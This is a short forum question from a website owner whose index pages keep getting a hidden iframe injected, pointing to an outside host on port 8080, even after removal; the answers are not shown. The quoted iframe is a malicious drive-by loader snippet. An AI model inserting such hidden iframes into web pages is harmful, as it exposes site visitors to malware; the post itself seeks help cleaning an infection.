Iframe automatically get added to index page of my web site?

Hello friends, from last 8-10 day an i frame of following type <iframe src="http://c5y.at:8080/ts/in.cgi?pepsi135" width=125 height=125 style="visibility: hidden"></iframe> this type of iframe automatically get added to my web site index page, this happens to my most of the web... show more Hello friends,
from last 8-10 day an i frame of following type
<iframe src="http://c5y.at:8080/ts/in.cgi?pepsi1... width=125 height=125 style="visibility: hidden"></iframe>

this type of iframe automatically get added to my web site index page, this happens to my most of the web sites and also index pages of subfolders. even i remove this code it get added after 2-3 days.

can any one tell me what should be the problem.
My Quick heal not showing it as virus.
can any one tell me the solution for this.
3 answers 3